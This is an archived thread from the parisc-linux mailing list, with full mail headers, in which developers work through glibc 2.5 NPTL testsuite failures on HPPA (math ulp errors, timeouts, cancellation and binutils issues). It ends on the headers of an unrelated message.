X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cYKtNeRHZCEX4rGPamwhczlwIGhpZQaY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24283

On Mon, 5 Feb 2007 22:13:01 -0500
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> This is my official baseline as of 2007-02-05.
> 
> To get the baseline you need to apply something like this patch:
> http://www.parisc-linux.org/~carlos/libc-head-2007-02-05.diff
> 
> Anything non-generic is already in libc ports for hppa.
> 
> I'm interested in hearing if the gentoo or ubuntu people can reproduce
> this baseline.
> In theory this baseline is good enough for a "beta" quality userspace.
> I think we are out of "alpha" quality.
> 
> Cheers,
> Carlos.


Carlos,

This is the result of the patchset I've created :

make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-float.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-double.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-ifloat.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/libio/tst-memstream2.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/libio/tst-wmemstream2.out] Error 1
make[1]: *** [libio/tests] Error 2
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/string/tst-strxfrm2.out] Error 1
make[1]: *** [string/tests] Error 2
make[2]: [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx4.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx5.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx20.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx21.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cleanupx4.out] Error 1
make[1]: *** [nptl/tests] Error 2
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-timer4.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-timer5.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-cputimer1.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-cputimer2.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-cputimer3.out] Error 1
make[1]: *** [rt/tests] Error 2
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-pie1.out] Error 139
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-audit2.out] Error 139
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-addr1.out] Error 1
make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/check-textrel.out] Error 1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

I used those patches :

7001_hppa_local-inlining.patch : from debian's deb
7002_hppa_submitted-lt.patch : idem
7003_hppa_ports-cvs-head-20070129.patch : cvs head of the ports repo on the 20070129
7005_hppa_cvs-head-20061203.patch : cvs head as of 20061203 of the libcd repo. This is the time of the last hppa commit to ports
7006_hppa_ports-cvs-head-20070205.patch : your patch mentionned in your previous email
7007_hppa_various-fixes.patch : cfi_endproc fix + 2 small include fix


We have always had the floating point errors even on previous glibc.

The memstream tests fail with this error "Timed out: killed the child process"

The cancel tests fail with message similar to this :
cleanup handler not called for 'pause'

tst-timer4.out :
clock_gettime returned timespec = { 1170787417, 996313000 }
clock_getres returned timespec = { 0, 4000250 }

tst-addr1.out :
found symbol (null) in /var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-addr1

check-textrel.out :
/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/libc.so: segment 3 is executable and writable


Cheers,
  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc nptl failure baseline update.
Date: Tue, 6 Feb 2007 23:26:19 +0100
Lines: 168
Approved: news@gmane.org
Message-ID: <20070206232619.214a9180.gmsoft__11682.1314012215$1416624276$gmane$org@gentoo.org>
References: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
	<20070206224246.3000a76c.gmsoft@gentoo.org>
	<119aab440702061358s5c0ee062l65eaff50429ada47@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624276 22618 80.91.229.3 (22 Nov 2014 02:44:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:36 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Feb 2007 22:25:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 06 Feb 2007 23:25:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA8537DA7A;
	Tue,  6 Feb 2007 15:25:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20447-06; Tue, 6 Feb 2007 15:25:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DAF97DA7B;
	Tue,  6 Feb 2007 15:25:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F32AB7DA79
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Feb 2007 15:25:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20365-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Feb 2007 15:25:11 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 02E4C7DA6D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Feb 2007 15:25:11 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 490DEEBC07; Tue,  6 Feb 2007 23:25:10 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 2EBEF2FD44; Tue,  6 Feb 2007 23:25:09 +0100 (CET)
Original-Received: from [2001:6f8:310:400:216:6fff:fe8b:a] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>)
	id 1HEYk1-0005nQ-W8; Tue, 06 Feb 2007 23:24:46 +0100
In-Reply-To: <119aab440702061358s5c0ee062l65eaff50429ada47@mail.gmail.com>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZTj/dLgVYmYSwOnCanc3LlNKWkZTQVRQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24284

On Tue, 6 Feb 2007 16:58:05 -0500
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> On 2/6/07, Guy Martin <gmsoft@gentoo.org> wrote:
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-float.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-double.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-ifloat.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-idouble.out] Error 1
> > make[1]: *** [math/tests] Error 2
> 
> Compiler too old. You need a compiler with the quiet NaN fixes that
> Joel Soete and John David Anglin fixed.

The NaN fix was applied. The bug changed this way after aplying it :

hake patches # less /var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/math/test-float.out
testing float (without inline functions)
Failure: Test: erfc (0.75) == 0.288844366346484868401062165408589223
Result:
 is:          2.88844347000122070312e-01   0x1.27c6d000000000000000p-2
 should be:   2.88844376802444458008e-01   0x1.27c6d200000000000000p-2
 difference:  2.98023223876953125000e-08   0x1.00000000000000000000p-25
 ulp       :  1.0000
 max.ulp   :  0.0000
Maximal error of `erfc'
 is      : 1 ulp
 accepted: 0 ulp
Failure: Test: Real part of: cpow (2 + 3 i, 4 + 0 i) == -119.0 - 120.0 i
Result:
 is:         -1.18999961853027343750e+02  -0x1.dbfff600000000000000p+6
 should be:  -1.19000000000000000000e+02  -0x1.dc000000000000000000p+6
 difference:  3.81469726562500000000e-05   0x1.40000000000000000000p-15
 ulp       :  5.0000
 max.ulp   :  4.0000
Maximal error of real part of: cpow
 is      : 5 ulp
 accepted: 4 ulp
Maximal error of imaginary part of: cpow
 is      : 2 ulp
 accepted: 2 ulp

Test suite completed:
  2917 test cases plus 2564 tests for exception flags executed.
  4 errors occurred.

> 
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/libio/tst-memstream2.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/libio/tst-wmemstream2.out] Error 1
> > make[1]: *** [libio/tests] Error 2
> 
> export TIMEOUTFACTOR=30
> 
>
> You must increase the timeouts for all testsuite runs.
> 

2 down :)


> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/string/tst-strxfrm2.out] Error 1
> > make[1]: *** [string/tests] Error 2
> 
> Unknown.

This is the result of the test :
hake patches # cat /var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/string/tst-strxfrm2.out
setlocale failed

  if (setlocale (LC_ALL, "de_DE.UTF-8") == NULL)
      puts ("setlocale failed");
This locale is not installed. It's not likely to work :)


> Watch out there is a compiler bug I ran into with vfprintf. I have a
> patch to disable delayed branch reorganization when compiling
> vfprintf.c from stdio.

Where is this patch ? :)

> 
> > make[2]: [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/posix/annexc.out] Error 1 (ignored)
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx4.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx5.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx20.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cancelx21.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/nptl/tst-cleanupx4.out] Error 1
> > make[1]: *** [nptl/tests] Error 2
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-timer4.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-timer5.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-cputimer1.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-cputimer2.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/rt/tst-cputimer3.out] Error 1
> > make[1]: *** [rt/tests] Error 2
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-pie1.out] Error 139
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-audit2.out] Error 139
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-addr1.out] Error 1
> > make[2]: *** [/var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/check-textrel.out] Error 1
> > make[1]: *** [elf/tests] Error 2
> > make: *** [check] Error 2
> 
> This looks great!
> 
> > I used those patches :
> >
> > 7001_hppa_local-inlining.patch : from debian's deb
> > 7002_hppa_submitted-lt.patch : idem
> > 7003_hppa_ports-cvs-head-20070129.patch : cvs head of the ports repo on the 20070129
> > 7005_hppa_cvs-head-20061203.patch : cvs head as of 20061203 of the libcd repo. This is the time of the last hppa commit to ports
> > 7006_hppa_ports-cvs-head-20070205.patch : your patch mentionned in your previous email
> > 7007_hppa_various-fixes.patch : cfi_endproc fix + 2 small include fix
> 
> > The cancel tests fail with message similar to this :
> > cleanup handler not called for 'pause'
> 
> This is in coordination with the compiler. I haven't determined why
> they don't work.
> 
> > tst-timer4.out :
> > clock_gettime returned timespec = { 1170787417, 996313000 }
> > clock_getres returned timespec = { 0, 4000250 }
> 
> Unknown.
> 
> > tst-addr1.out :
> > found symbol (null) in /var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/elf/tst-addr1
> 
> Unknown. But likely binutils related.
>

I used this binutils :
GNU ld version 2.17.50.0.9 20070103

I'll try a newer version but got not much hope.

> > check-textrel.out :
> > /var/tmp/portage/glibc-2.5/work/build-default-hppa2.0-unknown-linux-gnu-nptl/libc.so: segment 3 is executable and writable
> 
> We don't support RO text yet.
>

One less test to worry about :)
 
>
> Thanks for quick turnaround!
> 
> With this new glibc are you able to get a usable userspace in gentoo?
> Cancellation might break C++ applications...


So far so good, python and openldap test suite wich failed in odd ways wrt thread stuff now works fine :)

This is still only in a chroot, we'll put that in portage soon for testing.


Cheers,
  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc nptl failure baseline update.
Date: Wed, 7 Feb 2007 10:01:50 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <20070207100150.f5f58807.gmsoft__43489.6421539181$1416624276$gmane$org@gentoo.org>
References: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
	<20070206224246.3000a76c.gmsoft@gentoo.org>
	<119aab440702061358s5c0ee062l65eaff50429ada47@mail.gmail.com>
	<20070206232619.214a9180.gmsoft@gentoo.org>
	<119aab440702061446t57b9ea24lb1eb6d8e9cb04f0e@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624276 22620 80.91.229.3 (22 Nov 2014 02:44:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:36 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Feb 2007 09:00:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 07 Feb 2007 10:00:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA9B07DA8F;
	Wed,  7 Feb 2007 02:00:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24128-05; Wed, 7 Feb 2007 02:00:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 943EC7DA87;
	Wed,  7 Feb 2007 02:00:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F064B7DA82
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 02:00:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23935-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Feb 2007 02:00:45 -0700 (MST)
Original-Received: from av-tac-bru.cisco.com (weird-brew.cisco.com [144.254.15.118])
	by free.linux.hp.com (Postfix) with ESMTP id D1F017DA6B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 02:00:44 -0700 (MST)
X-TACSUNS: Virus Scanned
Original-Received: from strange-brew.cisco.com (localhost [127.0.0.1])
	by av-tac-bru.cisco.com (8.11.7p3+Sun/8.11.7) with ESMTP id
	l1790d322739; Wed, 7 Feb 2007 10:00:39 +0100 (CET)
Original-Received: from localhost (dhcp-peg3-vl30-144-254-7-171.cisco.com
	[144.254.7.171])
	by strange-brew.cisco.com (8.11.7p3+Sun/8.11.7) with SMTP id
	l1790c300458; Wed, 7 Feb 2007 10:00:38 +0100 (CET)
In-Reply-To: <119aab440702061446t57b9ea24lb1eb6d8e9cb04f0e@mail.gmail.com>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JuCgdtpaeWU35a2TZm9n5ygrL0tsZo2v
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24285

On Tue, 6 Feb 2007 17:46:43 -0500
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> > > Watch out there is a compiler bug I ran into with vfprintf. I have a
> > > patch to disable delayed branch reorganization when compiling
> > > vfprintf.c from stdio.
> >
> > Where is this patch ? :)
> 
> It is part of this patch:
> http://www.parisc-linux.org/~carlos/libc-head-2007-02-05.diff
> -CFLAGS-vfprintf.c = -Wno-uninitialized
> +CFLAGS-vfprintf.c = -Wno-uninitialized -fno-delayed-branch

Ok then it was applied already.

> 
> > I used this binutils :
> > GNU ld version 2.17.50.0.9 20070103
> > I'll try a newer version but got not much hope.
> 
> I didn't say it's fixed in a newer binutils. I meant to say that we
> likely need to fix binutils :-)

I somehow expected that :)

> > So far so good, python and openldap test suite wich failed in odd ways wrt thread stuff now works fine :)
> > This is still only in a chroot, we'll put that in portage soon for testing.
> 
> Excellent! What kernel are you using?

Linux hake 2.6.19.2 #2 Thu Feb 1 19:58:15 EST 2007 parisc PA8600 (PCX-W+) GNU/Linux


Let me know if you have some patch/update for glibc which needs testing.


Cheers,
  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Greene <listsnews@cox.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J5600 Video
Date: Wed, 07 Feb 2007 16:21:56 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <45CA42F4.2070207__27669.7204368704$1416624276$gmane$org@cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624276 22621 80.91.229.3 (22 Nov 2014 02:44:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-glibc@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Feb 2007 21:22:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 07 Feb 2007 22:22:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76DBC7DA73;
	Wed,  7 Feb 2007 14:22:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29875-07; Wed, 7 Feb 2007 14:22:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 629447DA76;
	Wed,  7 Feb 2007 14:22:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0A717DA6F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 14:21:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29904-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Feb 2007 14:21:57 -0700 (MST)
Original-Received: from eastrmmtao05.cox.net (eastrmmtao05.cox.net [68.230.240.34])
	by free.linux.hp.com (Postfix) with ESMTP id E43027DA6D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 14:21:56 -0700 (MST)
Original-Received: from eastrmimpo01.cox.net ([68.1.16.119]) by eastrmmtao05.cox.net
	(InterMail vM.6.01.06.03 201-2131-130-104-20060516) with ESMTP
	id <20070207212156.QDFT26107.eastrmmtao05.cox.net@eastrmimpo01.cox.net>;
	Wed, 7 Feb 2007 16:21:56 -0500
Original-Received: from [192.168.1.2] ([70.161.87.144])
	by eastrmimpo01.cox.net with bizsmtp
	id LlMv1W00R36rPti0000000; Wed, 07 Feb 2007 16:21:55 -0500
User-Agent: Mozilla/5.0 (OS/2; U; Warp 4.5; en-US;
	rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
